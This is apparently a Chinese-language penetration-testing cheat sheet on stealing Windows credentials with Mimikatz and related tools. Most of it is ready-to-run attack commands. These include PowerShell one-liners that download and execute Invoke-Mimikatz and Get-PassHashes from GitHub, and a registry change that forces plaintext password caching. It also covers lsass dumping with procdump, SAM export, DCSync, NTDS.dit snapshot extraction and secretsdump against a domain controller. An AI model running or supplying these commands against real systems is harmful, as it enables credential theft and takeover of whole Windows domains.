Skip to main content

Mimikatz


0x00 简介

Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

注:但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行。

九种姿势运行Mimikatz:https://www.freebuf.com/articles/web/176796.htmlopen in new window

借用PowerShell

#读取密码明文(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
#读取密码hash值(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

0x01 获取本地帐户密码

1.1 本地执行

下载mimikatz程序,找到自己系统对应的位数,右键以管理员身份运行:

#提升权限
privilege::debug

#抓取密码
sekurlsa::logonpasswords

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。

cmd修改注册表命令:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重启或用户重新登录后可以成功抓取

1.2 SAM表获取hash

#导出SAM数据
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

#使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM

0x02 Procdump+Mimikatz

当mimikatz无法在主机上运行时,可以使用微软官方发布的工具Procdump导出lsass.exe:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

将lsass.dmp下载到本地后,然后执行mimikatz:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

为了方便复制与查看,可以输出到本地文件里面:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt

0x03 读取域控中域成员Hash

3.1 域控本地读取

注:得在域控上以域管理员身份执行mimikatz

方法一:直接执行

#提升权限
privilege::debug

抓取密码
lsadump::lsa /patch

方法二:通过 dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,可以在域管权限下执行获取:

#获取所有域用户
lsadump::dcsync /domain:test.com /all /csv

#指定获取某个用户的hash
lsadump::dcsync /domain:test.com /user:test

3.2 导出域成员Hash

域账户的用户名和hash密码以域数据库的形式存放在域控制器的 %SystemRoot%\ntds\NTDS.DIT 文件中。

这里可以借助:ntdsutil.exe,域控制器自带的域数据库管理工具,我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:

#创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

#加载快照
ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

#Copy文件副本
copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

将ntds.dit文件拷贝到本地利用impacket脚本dump出Hash:

secretsdump.py -ntds.dit -system system.hive LOCAL

除了借助python,还有一个NTDSDumpEx(会被360查杀的哦):

工具地址:https://github.com/zcgonvh/NTDSDumpEx/releases

NTDSDumpEx -d ntds.dit -o domain.txt -s system.hiv    (system.hive文件获取:reg save hklm\system system.hive)
NTDSDumpEx -d ntds.dit -o domain.txt -r               (此命令适用于在域控本地执行)

最后记得卸载删除快照:

ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
ntdsutil snapshot "delete  {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

3.3 secretsdump脚本直接导出域hash 为什么要再提一遍secretsdump呢,因为它可以直接导出,说白了,简单粗暴:

python secretsdump.py rabbitmask:[email protected]

首先它会导出本地SAM中的hash,然后是所有域内用户的IP,全部获取成功